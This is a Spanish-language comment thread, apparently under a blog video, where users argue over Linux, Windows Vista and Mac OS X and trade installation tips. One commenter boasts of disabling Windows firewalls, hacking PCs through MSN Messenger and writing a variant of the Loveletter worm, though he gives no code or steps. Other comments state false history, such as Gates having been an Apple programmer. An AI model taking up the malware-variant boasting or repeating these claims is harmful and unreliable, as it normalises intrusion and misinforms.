Añade hasta 16 GB de RAM DDR2 a 667 MHz con memoria intermedia Dos procesadores de núcleo cuádruple a 3 GHz (8 núcleos) Memoria (hasta 16 GB)

Tarjeta gráfica GeForce 7300GT de NVIDIA con 256 MB de memoria

y el systema operativo de Maravilla Mac X y con los mejores precios del mercado

quien les da mas......

Casi me sale de los ojos de la cara con solo ver la interface grafica de linux wow....pero como dicen el windows aun es muy compatible con los juegos especialmente con lo juegos online si existiera algun parche oara jugar el Gunz online <- de cualquier servidro en linux y el corel draw 13 para linux, el descargador de torrents junto con office 2007 (si es que fuera compatible para intalarlo) me cambiaria a linux pos como aun no ecuentro algun parch oc ompatibilidad pos sere un esclavo ams de windows

Bueno Virgoxs, puedes desesclavizarte un poco, puedes intentar correr el juego Gunz en Linux con Cedega, y si no funciona, existen juegos online para linux y con cedega puedes ejecutar muchos juegos de windows bajo linux, como Elder Scrol IV Obvlion, Batlefield, Civilation, Diablo II, los Fifa los Maden, Half LIfe, los Need for Speed, todos estos y muchos mas estan en la lista de juegos 100 por ciento soportados con Cedega, Gunz no esta en la lista, pero eso no significa que no pueda s intentar ejecutarlo, ademas hay juegos tambien nativos para Linux (juegos de calidad, como los anteriores mencionados), tanto libres como de paga, solo es cuestion de que encuentres uno que te guste, digo si cambias de juego no te vas a morir.

En cuanto a Corel Draw, existe el Corel Draw 9 para linux, el 13 puedes ejecutarlo con Cross Over Ofice, aunque te recomiendo que puebes el Inkscape, el Xara y el Gimp, son nativos par Linux y puedes hacer diseño grafico de alto nivel en ellos.

El office 2007 tambien lo puedes ejecutar con Cross Over Office, pero mejor usa el Open Ofice, una suite completa y que funciona muy bien.

¿Descargadores de torrents? Ahi si me diste risa, para cosas de internet, Linux es el mero mero y existen muchos clientes torrent para linux (bitornado, azareus,) e incluso el Ubuntu ya incluye uno por defecto, solo das clic al archivo torrent, y comienza a descargarlo.

Y ser el que defendio a la Mac, puede ser que seas milonario o que te guste tirar tu dinero a la basura, ya que una maquina mac de esas caracteristicas cuesta una groseria y en un pais con hambre como Mexico es una inmoralidad comprar algo asi, con la mitad del dinero que cuesta esa maquina, yo tambien puedo armar un monstruo corriendo Linux, pero la mayoria de los usuarios NO necesitan tanta potencia. Y no me vayas a salir con que lo bueno cuesta, porque los señores de Apple tomaron un BSD llamado Darwin (GRATUITO) y lo conviertieron en un sistema privativo y carisimo, (que vivos verdad) ya que la licencia BSD a diferencia de la GPL te permite hacer eso, con Linux que es licencia GPL, no lo puedes convertir en privativo, puedes venderlo pero el codigo sera libre. Entonces los señores de Mac pues te ven la cara amigo mio, y en verdad te digo, mi Ubuntu, no le pide a tu Leopard, y es gratuito. PD los profesionales que hicieron la pelicula del Shrek usaron LINUX.

Na ser jajaj a las justas pude juntar mi plata para comprar una pentium 4 tuve que repotenciarla (sufri penurias y ahorros para si kiera que corra Doom3) solo tengo que cambiar mi disco duro de 40 gb pos ya ta que muere (7 años de que lo uso 5200 rpm)

y vivo en peru donde es un lujo ponerme internet (gracias a dios que tengo un trabajo pero mi sueldo >_> ni lo comento) casi vrndo mis organos para comprarme una tarjeta de video 256 de nivia y encima toy en peru que ay la compus cuestan en dolares T_T asi que no me vengas que tu puedas ser milonario (me sacrifique para tener una buena pc) a gracias por los dastos de estare investigando mas sobre el UbunTu y las compatibilidade de varios programas que y codec de video pa formato mp4 y rma rmv y de los juegos (solo me quedo con Gunz online nada mas) y otra ves te agradesco muchas gracias por los datos pero me podrias dar pag o referencias de descarfar parch o actualizaciones (si es ke lo hubiera ) para que corre el ubuntu pos que no creo que al momento de instalar el ubuntu y instalos el gunz y funcione asi nomas ¬¬.

Bueno Virgos primero te recomiendo que visites la guia ubuntu http://www.guia-ubuntu.org/, ahi e dicen como instalarlo, y es un manual de usuario completo para bajarlo visita Ubuntu.com, si tu tipo de conexion es de banda ancha, no tendras ningun problema, en cuanto a los codecs eso es muy facil de instalar con un programa llamado Automatix. En cuanto a Guns, voy a tratar de echarlo a andar con Cedega, a ver que pasa. Escribeme a mi mail, rodriguezcantu@gmail.com, pra darte asesoria.

Unix y Mac X ahh! y mi systema es Mac Tiger

a todos aquellos usuarios que se ilucionaron con tener una mac

Muy pronto podran ver sus sueños hechos realidad ya que vienen equipos a un muy accesible costo y con extraordinarias capacidades saludos.

Linux me ha hecho olvidad Windows. Uso SuSE, no soy un ingeniero de sistemas, solo segui los tutoriales, busque un poco en Google, y Tengo openSuSE 10.2 + XGL + Beryl, todo 100%. Diseño gráfico con Inkscape, GIMP y Krita, manejo documentos con OpenOffice, abro ZIPs con ARK, escaneo, descargo fotos de mi cámara, veo TV en mi PC, mi impresora funciona 100%, USB OK, Internet, correo electrónico, instalo los paquetes que quiero con Yast, con solo dos o tres clicks (nada de linea de comandos, ni se eso como se usa)

Windows, por ahi lo tengo en una partición, pero desde enro no lo abro, no se si funcione todavia...

hahah wow si que fue buena tu comentario ahora si estoy cada dia mas interesado en linuxs (pos aun no melo isntalo por falta de espacio de dsico duro ) Particion de 6 gb >_> pero por mientra sigo investigando ams sobre linuxs pa la otra se mana dsico duro nuevo =D a gracias por los tutoriales luis peor una pregunta cunato pesa el buncus pos me estoy descargando por torrents que pesa 687 mgb <-- tal ves sea su dsico de inicio peor bueno estare al pendiente Salu2

A un dato el Fondo musical que le pusieron a Linuxs es de un grupo -->Machinae Supremacy y el tema se llama Sidology Episode 2 - Trinity<--- ya lo estoy descargando toda su dsicografia por torrents El trackter Btmon XD

el beryl corre con 64, pero eso dise el manual, en la practica es con 32 de video, idealmente nvidia, pero si tienen targeta integrada intel tambien les correra bien, las ati dan un poco de problema, pero aun asi puden correrlo

hola me parece genial el programa de linux se nota q lo deja chiquito al vista quisiera si alguien me puede ayudar donde puedo conseguir el linux les dejo mi correo mauricio_16_sm@hotmail.com

Sabayon viene de serie con beryl ( mejor que compiz ) y aix o glx (segun tu tarjeta, se configura solo ) no concume nada, es super estable y el escritorio una pasada

sIN dudA ALgunA UbUntU (LinuX) es EL mEJoR SO q ahI AUq "NO LO QUIERAN CREER" xD

Algo bonito de verdad, beryl

http://forum.osx86spain.com/29/4445/acelerar-beryl-ubuntu.html

Yo tengo los tres sistemas... depende para que quieras tu os. Programacion = $$$ windows vista con visual y mil gigas de ram. Edicion de video e imagen mac osx excelente, estable y confiable. Montar un servidor seguro y fiable definitivamente linux, un poco mas complicado si quieres verlo, pero estudiando se aprende... a nadie le hace daño aprender mas!!!

es mucho mejor calidad Linux, me dejaron una investigación sobre cual es mejor, linux o vista, y sin lugar a duda es Linux

Vista es el mejor solo que en los videos pasan mas cosas que trare el Linux

Segun eso linux es muy seguro, pero por que casi nadie lo tiene pero dentro de tiempo con esas promociones que le hacen a linux mucha gente lo tendra y habrá mas virus en linux que en Windows, se los garantizo

[mode=troll]

jajajajajajajajjajajajaja

si que me dan risa los comentarios de esta entrada xD

pobre lammers, que Stallman se apiade de sus almas

[/mode]

Quiero mudarme a Linux, estoy cansado ya del vista (tengo el Ultimate), es demasiado inestable.

las caracteristicas de mi equipo son las siguientes:

P IV a 3.06 Ghz, 512 Mb de RAM, no tengo tarjeta acelerdora, lo que tiene es un adaptador de pantalla ATI Radeon X200 Series.

¿ Sera que si lo correra decentemente, y con lo de cubito?

Gracias.

Llevo un poco mas de un mes usando LINUX UBUNTU de forma compartida con WINDOWS XP en mi maquina, y a estas alturas he llegado a la coclusión de que el unico motivo por el que se usa más windows que linux es por que el señor Bill Gates tiene muchos dolares con influencias en todas partes.

realmente es horrible usar windows.

En mi opinion creo que linux esta mejorando en gráficos es para entrar más en los desktop lo cual no ocurria antes ya que era dedicado para servidores, y puedo decir tambien que aun sin importar si los graficos son o no bonitos creo que lo hace bueno a linux es su estabilidad y administracion de recursos, y si tomas en cuenta esto ustedes se preguntaran por que windows ha monopolizado tanto en este ambito, simplemente porque cada version requiere mas recursos de hardware lo que hace que las empresas de hardware tengan ventas y nada mas a tal punto que durante mucho tiempo muchas empresas de estas no han tomado en cuenta a linux por el simple hecho que no les representaria muchos ingresos. XD

haciendo un poco de historia:

mac fue la primera empresa que desarrollo el entorno grafico con el mouse, del cual vino un sujeto llamado bill gates y mediante movimientos de marketing extrajo codigo mac para poder desarrollar su entorno grafico y asi sacar su tan famoso window$. la base de mac extrajo parte del codigo de unix por lo cual mac es un sistema estable donde la shell no se encuentra mezclada con el kernel contrario a windows que combina shell y kernell a la vez por eso es inestable.

A mi no me importa quién inventó qué, mas me importa que el so maneje mejor los recursos q tienes. De q sirve q apple haya inventado las transparencias y el cubo si al final linux, q ademas es gratis y libre, puede correr los mismos efectos y hasta mejores en una maquina con 1/2 de potencia q tu macbook...

linux 4 ever... linux es lo mejor y si es debian o suse le patea el culo a microsoft y a los mierderos de apple...

JFDCZER puedes instalar Ubuntu, tu maquina correra el "cubito" perfectamente, solo te recomiendo que primero te documentes bien antes de instalarlo, para que asi configures correctamente tu targeta de video con los drives adecuados, no es dificil, googleando encontraras todo.

ups me equivoque es ISS la suit del vista en la cual esta integrado el firewall

bueno parece que no aparecio mi post pero bueno

hace a~os ya que uso linux como S.O y les puedo decir que nunca lo cambiaria

es lo mejor que hay en S.O de escritorio incluyendo al MAC OS que es un S.O bastante bueno

de windows bueno no tengo otra cosa mas que decir que es una verdareda porqueria. pantallazos azules, virus, spywares, y un insignificante firewall que no me toma mas de 10 minutos tumbarlo, y para los defensores de windows les digo que cosa buena tiene un S.O en el cual no me cuesta nada traspasar su seguridad es muy facil y una vez detntro puedes hacer lo que quieras incluso formatear o borrar la particion del disco duro

a mi me cuesta en lo mas minimo HACKEAR un sistema windows pero en linux es diferente

no tengo la clave root, no hay nada que pueda hacer y en mac pues mac es = de seguro que linux

es mas les voy a revelar un gran fallo que aun persiste hasta en win vista

en el cual junto con xp el firewall (si es que merece la pena ser llamado firewall)

esta incluido en el servicio de conecxion compartida a internet (ISS) cuya configuracion es modificable por cualquier usuario,incluso un invitado, el nombre del exploit que se utiliza no lo voy a revelar por razones obvias (mas de algun lamer se pondra a fastidiar con eso)

pero la funcion del exploit es desactivar o en la mayoria de los casos eliminar las librerias

del servicio de internet compartido y con esto dejando fuera de combate al firewall

y como la mayoria sabe sin ese pseudo firewall toda la seguridad de windows se pierde

despues de esto segun tu criterio puedes hacer muchas cosas (que no voy a mencionar por las razones expuestas anteriormente) asi de facil es ingresar a un sistema windows

y si crees que con el ultimo antivirus estas seguro --> W32/Chir.B ese gusano esta programado de forma que entra encriptado al sistema deshablilitando al antivirus

y destruytendolo por completo el unico antivirus capaz de eliminarlo : NOD32 (antivirus de pago)

esa es la ulradimensional seguridad de windows

bueno se todo esto por que soy analista de sistemas y encargado de testear firewalls (a modo hacking)

en varias empresas y les repito en eso a windows le ha ido pesimo,

actualmente estoy trabajando en una traduccion (mutacion) del W32/loveletter.b (con fines educativos no de andar infectando pc en pc)

bye.

P.D: Linux ha registrado casos de infeccion totalmente aislados y todos fueron a programas windows emulados nungun archivo de linux ha sufrido da~o por virus desde que se creo, en el caso de windows : a windows lo considero un VIRUS!

linux no sirve,tiene demasiados problemas con el reconocimiento del hardware. que weba!! mejor un SO que lo reconozca todo sin hacer nada.

Uy pepe, no se k piensas, talvez tienes hardware k aun no reconoce, pero oye, linux reconoce mucho mas hardware k windows, y casi no necesita drivers o reiniciar traz instalar algo. A ver dime los datos de tu compu

Ese Pepe tiene una computadora extraterrestre, por eso no puede instalar nada en ella. Ja,Ja. otro mas que habla a lo sonzo, sin saber lo que dice, asi nunca avanzaremos.

La verdad windows Vista es el mejor aunque le quierena ver todo lo feo, tiene muchas cosas buenas y se vuelven contra el

1.- pk no tiene dinero para comprar el software y no los culpo pero si lo tuvieran lo harian

2.-MAC que es eso, perdon pero los que lo puebran y dicen que es mejor que windows, no se ardan pk solo tienen una pc obsoleta igual para linux

3.-Ya dejen de sembrar envidias Windows Vista es el MEJOR!! le pese s quien le pese

Jaja Elias, windows vista es bueno, no tan malo como dicen todos, pero Linux y Mac son mejores k el Win

windows (cualquier version) atravez de msn messenger lo hackeo en menos de 10 min con firewall y todo, en linux me tomaria hasta meses, y eso que no me considero hacker ya que mi trabajo es testear firewall y sistemas de seguridad,y les puedo decir que a un pc con windows hasta un lamer puede hacer lo que quiera con ese pc tenga su "firewall" activado o no.

Para los fanaticos de msn messenger, atravez su programita al que tanto defienden un luser con conocimientos basicos de hacking (lamer) les puede dejar inutilizable sus pcs (inclyase la seguridad de windows vista aca). En linux un hacker con conocimientos medio-avanzados poco hace yo diria que sin la pass del root nada hace, y en mac lo mismo ya que la plataforma es parecida (UNIX)

asi es el comentario anterior tiene muchos fundamentos la verdad la gente que solo sabe windows cree que lo sabe todo pero al verdad es como si estuvieran encerrados sin saber que hay mejores cosas y mas estables que el windows ese y ademas un usuario de linux sabe mucho mas que un usuario de windows le pes ea quien le pese

necesito algo de ayuda. decidi probar linux, el SO kubuntu y a la hora final de instalarlo, en el paso 6 de 6, se queda en el 15% "detectando sistema de ficheros" y ya lleva asi unas 4 horas, si me pueden ayudar se los agradeceria mucho

Mira Isaias, posiblemente el cd de instalacion este dañado, o tambien puede ser problema del disco duro. Prueba con otro disco de instalacion, ya que en ocasiones los discos se queman mal.

miren yo por ahora prefiero vista, lo tengo en una dell inspiron b120 y me funciona de maravillas, ademas no me carga tanto como dicen, solo tengo 256ram y 64mb video 1.4ghz de procesador..De ke se quejan yo uso vista como todas las personas ke conosco..

Muchas gracias por el comantarios, Sr. Luis. En el segundo disco que he probado, que he verificado con ese asistente que viene en el mismo cd, dice

Errores en mi win, como decia, dice que no hay errores, lo deje de lado e hize otro, lo verifique y dice lo mismo, no hay errores (en ingles, por supuesto) y se queda en lo mismo. escribo las caracteriziticas de mi pc:

pentium a 1.67

256 de ram

40 Gb de espacio(10 le "particione" -si asi se dice- para kubuntu)

baje el archivo para una i836 (o algo asi ) en torrent

queme la imagen del cd en Nero

y todo funciona bien hasta que llega a esa parte. Tambien lo intente con un cd de Ubuntu y pasa lo mismo. O estoy severamente sope o algo pasa con mi compu.

Gracias nuevamente por los comentarios que reciba y especialmente a usted Sr. Luis por atenderme

Isaias: Pues si kieres puedes probar a kemar el disco en la velocidad mas baja, asi suelen salir mejor, a ver si eso soluciona tu problema!

Isaias, he instalado muchos Linux y te puedo decir lo siguiente.

1) Quema varios discos, si ninguno funciona, haz lo siguiente:

2) Baja la version alternate, esa version se instala en modo texto, ya que la version live requiere mucha RAM y tal vez tus 256 no sean suficientes.

3) Trata de conseguir prestada otra PC, si en esta, tampoco funcionan, es posible que tu quemador este sucio, limpialo.

4) Si despues de limpiarlo, sigue pasando lo mismo, es posible que tu quemador este dañado, cambialo (los que madores de cd ya se consiguen baratos)

5) Si despues de cambiar tu quemador sigues con lo mismo, es posible que el cable IDE del quemador este dañado, cambialo.

Todos los puntos anteriores me han ocurrido a mi, ya que he reparado muchas PCs viejitas, pero yo creo que el punto 2 es lo mas problable que este ocurriendo.

La verdad JOz no te creo nada de lo que dices, o estas mintiendo, o tu PC esta pujando con ese Vista, y esta lentisima, por lo tanto debes de ser un indiiduo con muchaaaaaaaaaaa paciencia para soportar ese Vista que se ha de arrastrar ante tus ojos. Para el Vista se recomiendan minimo 1 GB de Ram y ¡256 de VideoRAM!, no es posible que funcione bien en tu PC.

De hecho, tuve la oportunidad de probar el VIsta en una Wallmart, y la verdad que me parecio lentisimo a comparacion de mi Ubuntu, y ese que estaba corriendo en una maquina con procesador Dual Core, 1 GB de DDR2, 256 de VideoRam y disco Sata de 3 Gb/s, mi Ubuntu volaria en esa maquina.

Asi que mi querido Joz por favor no heches mentiras.

Yo tengo abierto un reto a todos los que quieran, yo con mi Ubuntu y ellos con su Vista:

1) Quemar un DVD.

2) Instalar Java, Acrobat reader y Google earth, programas comunes para ambos sistemas.

3) Escuchar mp3s.

4) Abrir una presentacion de Power Point.

5) Abrir tres paginas web en el navegador que quieran.

Todo lo anterior ejecutandose al mismo tiempo, gana el que termine primero. La maquina debe ser procesador AMD 64 o equivalente, (no doble nucleo) 1 Gb de RAM y 128 de VIdeo.

Señores, felizmente les puedo decir que les estoy enviando este comentario desde el Firefox, ya no mas desde el Internet explorer. Tiene este Linux (ubuntu)un buen de cosas que cureosear y me es entretenido. En general me gusta, unas cosas no las entiendo bien pero tengo de aquí­ en adelante para entenderlo, gracias a ustedes -al Sr. Luis y a RR por sus consejos, que si me sirvieron, por aquello del quemador- por que felizmente, puedo decir, como se dice por aquí­: ¡Soy libre!

Gracias nuevamente, muchas gracias...

Pues muchas felicidades Isaias, bienvenido al mundo del software libre, donde no existen los virus ni los troyanos ni las licensias abusivas. Estoy a tus ordenes para cualquier duda escribeme rodriguezantu@gmail.com.

Ah, y por cierto instala Automatix, http://www.getautomatix.com/ en la pagina vienen las instrucciones de instalacion, esta en ingles pero es facil, con Automatix puedes instalar Opera, Google Earth, Picassa, codecs, diversos reproductores multimedia fuentes extra y muchos programas y utilidades mas con un solo click.

Creo que lo software libre es bueno pero lamentablemente hay que acutalisarse hoy en dia las cosas estan fuerte y cada vez las computadoras viejas hechas para Linux por que no hay de otra se estan quedando atras vamos a actualisarnos y utilisemos un sistema operativo de altura como lo es Windows Vista y Mac Os son los mejores sistemas operativos.. Nunca se han hecho esta pregunta Linuxeros Porque Linux tienes tantos sistemas operativos y pelean entre si? Asi nunca van a llegar a ganarle a Windows NUNCA ni a superar a MACOS aunque se unieran tampoco.. Lla Windows Vista a dado un paso bien profunto en la tecnologia aunque para ustedes el nuevo Windows Aero es una porqueria y que Linux tienes mas efectos 3d creo que no importa los efecto 3d si no la estabilidad y la rapidez aunque creo que pronto con la salida de Windows 7 se van a quedar con las bocas aviertas porque creo que Microsoft tiene algo escondido nuevo y novedoso para windows. Creo que en los ultimos años microsoft no ha sacado para windows vista todo lo que han hecho si no para Windows 7 que va a salir mejor que Linux.

No se quejen si Windows Copia algo de linux aunque windows copia cosas de Mac Os pero no tan direcas. Linux se copia hasta de las ventanas de Windows y cosas de Mac (Asi cualquiera) Pero creo que cada cual con su sistema operativo ademas esta pagina esta llena de Linuxeros no puedo creer que harian ustedes si las aplicaciones comerciales auque las que hay para linux trantan de imitarlas pero lamentablemente no pueden... recuerden que windows tiene el 90% de las computadoras del mundo mietras que Linux un simple 2% jajjajaja. Que porqueria y no hablen mal de Windows Vista Uselon y visualiselo que con un simple video no significa nada .. Ademas instale Ubuntu y es un porqueria me dio un clase de error (Crash o Bugs) que decidi quitarlo y quemar el CD. jajajaj

Ya saben enviemen respuesta.

VIVA WINDOWS VISTA

PRONTO SERA WINDOWS 7

Este Antilinux de arriba, de seguro es de esos k tiene una mac... o una pc super nueva, ya k ahi apenas funciona decentemente el windows vista, tons dice k es lo mejor, si le metieras ubuntu a tu pc, volaria! Aaa x cierto hay aplicaciones gratuitas k funcionan super bien y mejores k las comerciales. El punto es k esas aplicaciones gratis (GPL) las hacen usuarios comunes de la comunidad linuxera, k ellos no se preocupan x cuanto van a ganar vendiendo, lo k kieren es k uno pueda usar una aplicacion funcional, se preocupan x la gente, no x el dinero, esa es la diferencia de los linuxeros. Yo soy 1

¿De qué sirve que Linux sea más estable y bonito si no se pueden usar aplicaciones de diseño gráfico, edición de video y audio profesionales?

Mac osx es hasta el momento la única plataforma que permite trabajar con solvencia en esas áreas.

"no me gusta la prepotencia de mac aunque se que es buena máquina"

Bendita sea la ignorancia... si conocieras la comodidad de Mac OSX no dirí­as lo mismo. Sólo imaginate no tener la preocupación de los virus, ésos que tanta lata dan en windows... yo desde que tengo mi macbook soy feliz, por otro lado, aunque reconozco algunas ventajas de linux, no me atreverí­a a meterle ese sistema a mi máquina por que no aceptará final cut o adobe photoshop, que son los programas que necesito para mi trabajo... Creo que, ante todo, hay que considerar en el uso que le daremos a nuestras computadoras.

ignoren a ese tipo sólo quiere atención... seguro mandó su comentario de un cafe internet y ni sabe lo que dice... Con sólo ver su pésima ortografí­a se evidencia su ignorancia. !Que vivan las compus! el SO que le quiera poner cada quien a la suya es decisión propia.

Dera y Xoxo: Claro k tiene solucion el diseño grafico en Linux

http://raseck.wordpress.com/2007/03/25/diseno-grafico-en-gnulinux/

O tmb pueden bajarse Ubuntu Studio, k viene listo con herramientas para profesionales en audio, video y gráficos!

http://ubuntustudio.org/files/UbuntuStudio_7.04.torrent.

Y todo eso es gratuito

como puede ser posible que hayan usuarios que quieran el windows vista, es una porqueria,

vean, yo lo instale apenas en una pc, intel pentium D 2.6Ghz, 120 Gb HD, 128Mb en video y 1GB en ram, y asi el maldito puntaje de vista era 2.0, que chingados quiere Bill gates que gaste mi dinero en comprar una T. grafica de 1Gb para que mi "experiencia de usuario" subiera por lo menos a 9.0??? y un procesador core quad para que subiera de 4.5 a 9.0, por lo menos.

que gasto de dinero, y ademas ni siquiera sirve su porqueria de barra lateral, que consume un buen de recursos, y no se diga de su administracion de ventanas en 3d, para que ponerlas asi, si de todas formas ni se ven las ventanas de atras, las tapa la de adelante.

y pues tengo que gastar mas para que mi pc quede protejida.

y asi, la pc apenas y va bien, pero no me gusto, me sentia como si tubiera el XP, pero con los marcos de las ventanas transparentes.

asi que lo desinstale,bueno, formatie el disco duro y el software se lo vendi a mi primo, que es un loser en computadorasy con la misma pc que describi primero, mmmm...quede feliz de la vida .. me baje la distribucion de ubuntu, hiba super rapida y lijera, despues istale beryl, y va de maravillas, no he tenido ningun problema, chateo y ando en internet con el 99% de confiansa,

y es mas visto mover las ventanas como gelatina, y aventarlas a otra cara del cubo. en fin

LINUX es mejor que windows

Definicion de windows VISTA : Virus Intrusos Spyware Troyanos Adware, vean todas las mayusculas

Definicion de LINUX: simplemente el mejor, jajajajaja

me gaste el dinero del vista en irme a la playa con mis amigos, y de regreso, feliz, con UBUNTU!!!!!!!!!!!!!!!!

pienselo, vista es una porqueria, y si nos esperamos para el windows Vienna,(o 7 le llaman por ahi) correra bajo un procesador de 8 nucleos, 2GB en video, 4GB en ram, y de instalacion, 1TB, ose que tendran que salir discos de 20, 40, 80, o de + terabites!!!!

jajajajajaja

LINUX, gracias por existir!!!!

Feliz de la vida con Linux. Hace poco mas de una semana que en este foro enviaba mis dudas de como instalarlo, ahora felizmente lo utilizo sin ningun problema. La razon del por que me estoy mudando a Linux (ya que no podia opinar respecto del comparativo en ambos sitemas) es por que en Windows, tiempo atras, mi compu se reiniciaba constantemente. Posteriormente, decidi utilizar un antivirus con una licencia no muy amistosa, para que al rato siguiente no detectara todos los virus y demas cosas... pense "esto de los virus es un negocio". Le comete el problema a mi papá, quien pensaba que las mac y linux son una porqueria, ahora que ve que nuestra compu no necesita antivirus y que no se ha reiniciado desde que uso linux, ha cambiado su opinion y por suerte y gracias a Dios, ¡¡nuestra impresora era compatible con linux ubuntu!! No les podria explicar que feliz me siento de que mi compu no se reinicie, no se me atasque aun con muchas aplicaciones corriendo, sin perder mi informacion y los graficos con ese tal beryl, ¡diantre!, Gracias a Dios por Linux y por el dinero que me ahorra, con lo que me gastaba podré comprar una compu mas actual cuado las circunstancias asi lo requeiran. Y bueno, sean felices, usuarios de ambos sitemas que yo me mudo a Linux...

señores recuerdense de algo, el sr. BILL GATES fue programador de apple, y para que entiendan mas, no se le permitia utilizar codigo de apple porque era confidencial, el contrato especulaba que solo podria hacer uso de ese transcurridos 5 años de su salida de apple, eso quiere decir que WINDOWS = a una copia sin aspiraciones de superación de mac, y otra cosa señores, recuerden que linux, nace de minix, que no es mas que un UNIX un poco reducido, si es muy estable en algunos casos, pero no puedes hacerlo todo con el, en cambio sistemas operativos como MAC, SOLARIS, entre otros son nacidos en UNIX, eso quiere decir que si de estabilidad, seguridad, escalabilidad, manipulacion de codigo, estetica, integridad de información, y redes hablamos, los competidores son SOLARIS,LINUX y MAC, no metan a windows en esto porque en realidad no merece nisiquiera estar en el foro...

cita: "recuerden que linux, nace de minix, que no es mas que un UNIX un poco reducido, si es muy estable en algunos casos, pero no puedes hacerlo todo con el, en cambio sistemas operativos como MAC, SOLARIS, entre otros son nacidos en UNIX, eso quiere decir que si de estabilidad, seguridad, escalabilidad, manipulacion de codigo,"

linux tiene compatibilidad binaria con todas las aplicaciones UNIX, y hay distribuciones compatibles con POSIX, osea q linux = cualquier UNIX

:-o!!! linux ubuntu se pasoo!!

me gusto bastante los efectos 3d q tiene linux

aunq no aii q olvidar q windows no se keda atras por cuention de compatibilidad con juegos, software, etc.....

busquen emuladores de windows.. mi tio descargo uno y le funcionan programas q son para windows

Yo he tenido Ubuntu con Beryl y si muy bonito todo dando vueltas por ahi como un gili.....

pero cuando lo tienes un mes ya ni lo gastas.

Linux=Potente,pero complicado en instalaciones,le queda mucho camino

Vista=Estable,bonito y ninguna complicacion en instalaciones y configuraciones.(Mucho Ordenador para mover Aero,que por cierto no vale para nada al igual que XGL)

Mac Os X=Mi proxima victima a analizar.

Paco, ¿explicame a que te refieres cuando dices que Ubuntu es complicado en instalaciones? ¿Que diablos fue lo que quisiste instalar? porque si quieres instalar cualquier porograma contenido en los repositorios, solo lo seleccionas en Synapticas le das en aplicar y ya esta. Ysi quieres instalar una impresora te vas a impresoras buscas el modelo y ya esta, sin necesidad de discos de instalacion. Ademas con Automatix instalas absolutamente todos los codecs de audio y video, cosa que con windows es mas complicado ya que tienes que andarlos buscando de pagina en pagina. Y lo de bonito del Vista pues es muy tu gusto, pero a mi parece ñoñisimo.

a no =(#=(% esta bonito el xgl de linux :O y nos e diga mac :O vistapues lanetayouso vista y tubel inux y eos d lsoefectos pues estara chulo y lo q querais pero como si lo usara diario depsues dun tiempo abure ver girar le cubito o las ventanas en filitavansando una tras otra yo al vdd usolos3 sistemas en mi maquina pero tanto uno como otro me abure y tanto unocomo torojala bien yo no tenogprobelmas ocn ningo apesar dusar macen una pc jala bonito y pusqdecir cada unotien lo suyopero no vayamonos por lso efectos visuales qtal la compatibilidad windows tien trodo pa el mac un poco menos y linux cha casi nada no es lobonito o funcionable es el poder dmercados q tienc ada mepresa lamentablementele imperio microsoft nso consume y alegenle al bill ghates...........................

¿Que dijo?

No sé. Estará codificado?

Mac OS X , el mejor sin duda!!!!! No creeis k el video del linex es demasiado rayante? Lo unico que hace es juga con el cubito ese!! Ademas es todo plagio de mac... Mac el mejor, el unico inconveniente es que no es gratis, claro ,pero es k es calidad... Ah, yo tengo linex en el instituto y es lo peor que hay, vale linux es diferente pero linex es una variante y va fatal... Mac Rules!!!!

mac es mas facil de usar que windows, solo que claro, la gente siempre con su windows de toda la vida... !!!!!!!!! pruebenlo y opinan despues

¿Linex va fatal? Ahh ha de ser una distro hecha por gallegos jajajaja....

yo tengo widows xp, pero ya me aburri de verla misma cosa.....

pero a hora queestoy viendo sus comentarios me anime a cambiarme a linux!!!!!!!

¿pero me pregunto que version de linux sera mejor......? porfavor respondanme esta pregunta

Los de linux estan exagerando damdole vueltas a ese cubito esupido que es lo unico raro que tiene, por mi parte prefiero el Windows Vista Home Premium, que tiene mucho mejor rendimiento que los otros que no mas se preocupan es de la apariencia aunque en eso Windows Aero no se queda a atra, hasta pienso que es mas bonita la apariencia del Vista que la de los otros. Y si lo del cubito les gusto no mas es bajarse yod'm 3d cubo y les quedara igual, conclusion Vista los supero

Jaja Daniel. es k en ese video nomas ves el cubo, pero no has visto la utilidad k tiene, el dia k entres al mundo linux, veras a k me refiero... El vista tiene peor rendimiento, xq gestiona mal los recursos. Analiza bien linux y veras a k me refiero!

linux es arrechisimo

Los Computadores se Hacen Por sus caracteristicas y no por sus fotitos y sus Colores, pienso q Windows es bueno si eres un aficionado a los computadores y te gusta gastar millones en eso, linux es solo UI, de que te sirve tener varios escritorios, para algo crearon las ventanas, y q las ventanas se mueva como de gelatina, de que te sirve, Mac OS X es simplemente balance entre estetica y funcinalidad.

aqua lleva años y nadie a estado en contra de ella, mientras que windows, cada version tiene su GUI y No Gustan Mucho q digamos.

En Cuanto a versiones sin duda windows es el mas facil de entender, puesto que es 95, 98, me, xp, e.t.c.

Mac y linux son mas complicados, Mac OS X 10.4.9, Mac OS X 9.7, e.t.c..

y linux..... ubuntu, XGL,Beryl+XGL+ Compiz... y como 8000 versiones q no entiendo.

En Cuanto a programas windows tiene mas, pero mientas que mac y linux tiene menos, todos funcionan.

Mas personas al no saber de SO, Prefieren tener lo q ven(GUI), y si los computadores fueran solo "Bonitos" , todos tendriamos un LINUX en casa.

Definitivamente que los retractores de Linux, solo estan buscando pretenxtos para atacar, como ese tal JK, que se queja de que Linux es demasiado bonito, antes se quejaban de que era feo. Amigo ¿que diablos es lo que no entiendes de ubuntu, XGL,Beryl+XGL+ Compiz...? Ubuntu es una distro (la mas popular) y

XGL,Beryl+XGL+ Compiz son programas, que puedes utilizar o no. Lo de los escritorios, ¿como te atreves a decir que no sirve tener varios? se nota que nunca los haz usado, tener varios escritorios te ahorra bastante tiempo, por ejemplo supongamos en un escritorio tengo un documento de texto y en otro una pagina web, y necesito alternar entre los dos, en vez de estarlos minimizando uno por uno, simplemente corro el puntero del mouse al extremo de la pantalla, y me paso al otro escritorio con el otro documento, si quiero regresar vuelvo a mover el puntero de regreso y en un microsegundo estoy de vuelta en el otro documento, mas practico no se puede.

OK, no me refiero a que sea solo bonito, pero segun el demo SI, de todas maneras creo q tengo rason en cuanto a las otras cosas....

No mi amigo JK no tienes razon con respecto a los escritorios multiples. A mi y a muchos nos han hecho la vida mas facil, no me vengas a decir que no sirven.

Hola tengo un problema con mi tarjeta grafica, os comento:

Hace poco instale el sabayon linux pero no me funcionaban los efectos 3D porque la tarjeta grafica no lo soportaba. Hoy he comprado la Nvidia geforce 7300gt de 512mb y ahora yega el problema.. que cuando la puse y arranque linux, no entraba como antes (con la otra tarjeta). Se queda como si fuera el terminal (konsole). Eso sera que no es compatible la tarjeta o algo y habra que configurarlo desde ahi. Yo no tengo ni idea de linux. Me podrian decir como soluciono el problema??

viva windows vista

